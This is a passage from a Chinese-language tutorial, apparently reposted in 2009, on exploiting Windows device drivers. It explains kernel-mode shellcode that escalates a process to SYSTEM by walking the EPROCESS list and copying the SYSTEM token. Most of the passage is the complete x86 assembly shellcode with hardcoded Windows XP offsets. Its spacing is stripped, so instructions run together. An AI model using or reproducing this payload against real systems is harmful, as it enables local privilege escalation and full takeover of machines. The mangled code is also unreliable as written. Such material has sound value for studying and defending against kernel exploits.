详解如何利用Windows设备驱动
2009-02-12 13:55:33 来源:WEB开发网关键点5:开发特定的内核模式shellcode
因为我们攻击的是逻辑上的驱动,我们没有办法使用常用的shellcode。我们可以使用少量的其他变量,比如windows syscall shellcode(公布在SecurityFocus,请参见参考文献)。但是有很多非常有用的例子,现在我就讨论下在Xcon 上Eyas 介绍到的shellcodde。
这个想法非常简单。首先,我们需要找到System的token,然后我们将它分配给我们的进程——这会将给我们的进程System权限。
步骤:
- 找到ETHREAD(位于fs:[0x124])
- 从ETHREAD开始遍历EPROCESS
- 我们使用EPROCESS.ActiveProcessLinks 检测所有运行中的进程
- 我们将运行中的进程的pid 与System的pid 比较(Windows XP 始终为4)
- 获得后,我们搜索我们进程的pid,并且讲System的token 分配给我们的进程
这里是完整的shellcode:
;------------------------------------------------------------
;DeviceDrivershellcode
;------------------------------------------------------------
XP_PID_OFFSETequ084h;hardcodednumbersforWindowsXP
XP_FLINK_OFFSETequ088h
XP_TOKEN_OFFSETequ0C8h
XP_SYS_PIDequ04h
my_shellcodeproc
pushad
db0b8h;moveax,old_routine
old_routinedd0;hardcoded
db0b9h;movecx,routine_addr
routine_addrdd0;thistoo
mov[ecx],eax;restoreoldroutine
;avoidmultiplecalls...
;-----------------------------------------
;startescalationprocedure
;-----------------------------------------
moveax,dwordptrfs:[124h]
moveax,[eax+44h]
pusheax;EAX=EPROCESS
s1:moveax,[eax+XP_FLINK_OFFSET];EAX=
EPROCESS.ActiveProcessLinks.Flink
subeax,XP_FLINK_OFFSET;EAX=EPROCESSofnextprocess
cmp[eax+XP_PID_OFFSET],XP_SYS_PID;UniqueProcessId==SYSTEMPID?
jnes1;nope,continuesearch
;EAX=foundEPROCESS
movedi,[eax+XP_TOKEN_OFFSET];ptrtoEPROCESS.token
andedi,0fffffff8h;alignedby8
popeax;EAX=EPROCESS
db68h;hardcodedpush
my_piddd0
popebx;EBX=pidtoescalate
s2:moveax,[eax+XP_FLINK_OFFSET];EAX=
EPROCESS.ActiveProcessLinks.Flink
subeax,XP_FLINK_OFFSET;EAX=EPROCESSofnextprocess
cmp[eax+XP_PID_OFFSET],ebx;isitourPID???
jnes2;nope,trynextone
mov[eax+XP_TOKEN_OFFSET],edi;party'sover:)
popad
db68h;pushold_routine
old_routine2dd0;ret
ret
my_shellcode_sizeequ$-offsetmy_shellcode
my_shellcodeendp;
更多精彩
赞助商链接